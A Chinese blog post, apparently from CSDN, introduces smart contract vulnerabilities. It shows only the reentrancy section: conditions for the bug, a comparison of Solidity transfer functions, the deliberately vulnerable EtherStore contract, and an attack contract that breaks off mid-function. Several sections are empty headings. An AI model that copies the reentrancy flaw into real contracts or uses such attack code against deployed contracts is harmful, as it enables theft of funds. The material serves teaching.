解密智能合约TOP10安全漏洞

以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容

电子版PDF下载:https://download.csdn.net/download/softgmx/10800947

 

重入问题

漏洞成立的条件:

  1. 合约调用带有足够的gas
  2. 有转账功能(payable)
  3. 状态变量在重入函数调用之后

底层转账函数

防重入

错误处理

<address>.call.value()()

NO

返回false

<address>.send()

YES

返回false

<address>.transfer()

YES

Revert stateDB到调用前状态

<address>.call.value()的实现:

 

<address>.send()的实现:

 

<address>.transfer()的实现:

 

Transfer能在调用失败时候主动抛出异常的原理:

 

漏洞案例合约:

contract EtherStore {

    uint256  public  withdrawalLimit = 1 ether;

    mapping(address => uint256)  public  lastWithdrawTime;

    mapping(address => uint256)  public  balances;

    function depositFunds()  public  payable {

        balances[msg.sender] += msg.value;

    }

    function withdrawFunds (uint256 _weiToWithdraw)  public {

        require(balances[msg.sender] >= _weiToWithdraw);

        // limit the withdrawal

        require(_weiToWithdraw <= withdrawalLimit);

        // limit the time allowed to withdraw

        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

        require(msg.sender.call.value(_weiToWithdraw)());

        balances[msg.sender] -= _weiToWithdraw;

        lastWithdrawTime[msg.sender] = now;

    }

 }

攻击合约:

import "EtherStore.sol";

contract Attack {

  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {

      etherStore = EtherStore(_etherStoreAddress);

  }

  function pwnEtherStore()  public  payable {

      require(

  • 4
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值